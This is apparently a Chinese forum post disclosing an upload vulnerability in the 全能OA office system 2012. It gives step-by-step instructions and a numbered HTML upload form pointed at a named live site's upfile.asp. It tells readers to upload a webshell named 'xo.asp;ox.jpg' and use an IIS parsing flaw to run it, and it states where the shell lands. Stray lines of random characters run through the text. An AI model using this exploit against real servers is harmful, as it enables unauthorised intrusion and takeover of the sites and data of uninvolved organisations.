全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
9 M. d! U3 Q$ C  s3 L系统介绍：
6 l7 U/ z3 W3 m" ?3 |* c/ s
  M; {" N9 j3 m/ ]全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
# ~0 ?! c( ?  k4 [7 K$ x0 G& y
主要功能：
公司通告
7 M9 b* g) y% S. ^+ D工作计划
通讯助理
客户资源
我的公文
公文传阅
' }: u. x- [+ C$ Y公共资源
/ v! }/ r. [9 w( \1 u3 M资源预约
今日考勤
2 W0 d% C* R, ?  z个人计划
* q% S  I  [) G个人通讯录
个人基本档案
未读邮件
# {, H, n  }9 G2 z发邮件
收件夹
寄件夹
网络硬盘
网络会议
! t. F3 h0 ?# N: m% a$ J5 `& \网络调查
交流论坛
7 A7 e8 P1 J: g) m5 G; t# ~! B
# M* s: W' P5 Z7 V, C! S9 K( i有兴趣测试的朋友可以下源码看看

% c( y- v: l5 V& T6 @- v4 Y6 p' t源码下载：

& B7 m* a4 E( W9 nhttp://www.mycodes.net/30/4750.htm

% f+ }3 k3 B; x; `' G2 U漏洞介绍：
/ p3 O  t& h' h9 Q0 Q
由upfile.asp上传文件漏洞引起
& |4 }' u+ |! {4 l+ S6 C; a
测试方法：
1 s6 Y5 C+ S7 b( @% p" y0 H. Q$ T
使用名小子上传http://www.itlynn.com/upfile.asp即可

4 o/ n& c% T5 n如果upfile.asp文件被删除不存在。
5 u# m7 d; A% C- q9 z
& z$ ]7 z' ]( g( f5 s7 I. C  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

# U5 c+ {. r% W/ ~2 N

& T) \# u% P& B0 S3 v5 b01 <table border='0' align="center" cellpadding="5">
2 w$ V1 ~! r( l
+ v, _4 F4 l1 S8 [- ^7 T( M02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>
( E6 [4 B4 z8 s  ^
04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>
1 d4 r" c' ~6 q& v& @
6 m2 K% U4 Q! w5 |9 u% Q! S2 x06               自动更名
( [7 ], P; e6 ^
: \+ k2 k% A& V& j2 _07               <input type='radio' name='errnumber' value='1' checked>

. [9 r7 ]$ c  i2 f4 e) I8 T% `5 h08               报错方式
  y! m  `8 y+ A) L; D
09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>
# F- N. A( G. P( H* n
11           </tr>
/ @# g+ T/ c: [- _+ F! f2 |+ p. p
12           <tr>
# ~: I7 P5 U; ^' t6 H
5 x) B- ^" u) k7 r$ ~13             <td>主题：</td>
8 M& O5 J' f( n0 Q+ {
3 t- E' |, ~. n6 m4 i5 _14             <td><input type='text' name='filename' size='30'></td>
9 @& g1 }4 Y, N# P- o! o4 O9 R0 M
5 Y, a! N9 ~6 [9 [+ G& z15           </tr>

! \5 }0 C1 F" r1 j16           <tr>

17             <td>文件：</td>

18             <td><input type="file"name="fruit"size="30"></td>

; a& N3 m% n7 K8 w/ c) D& ?6 @19           </tr>

20           <tr>

2 ]4 H$ x' i' q* _! Z) V! J21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
0 Z' _* }& T8 d3 `2 i
23           </tr>

+ ^2 f+ J; S1 c. x+ Z  t24   

25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>

27         </form>

* \# L5 n$ A1 |) }# |然后打开上传一个文件名为xo.asp;ox.jpg的文件。
  R) m) f+ o. z8 \1 k+ H


上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
* I9 ~4 X) x2 \$ H+ e& w% U: u8 B
此漏洞需要配合解析漏洞利用。

+ O$ C5 a; [  A1 H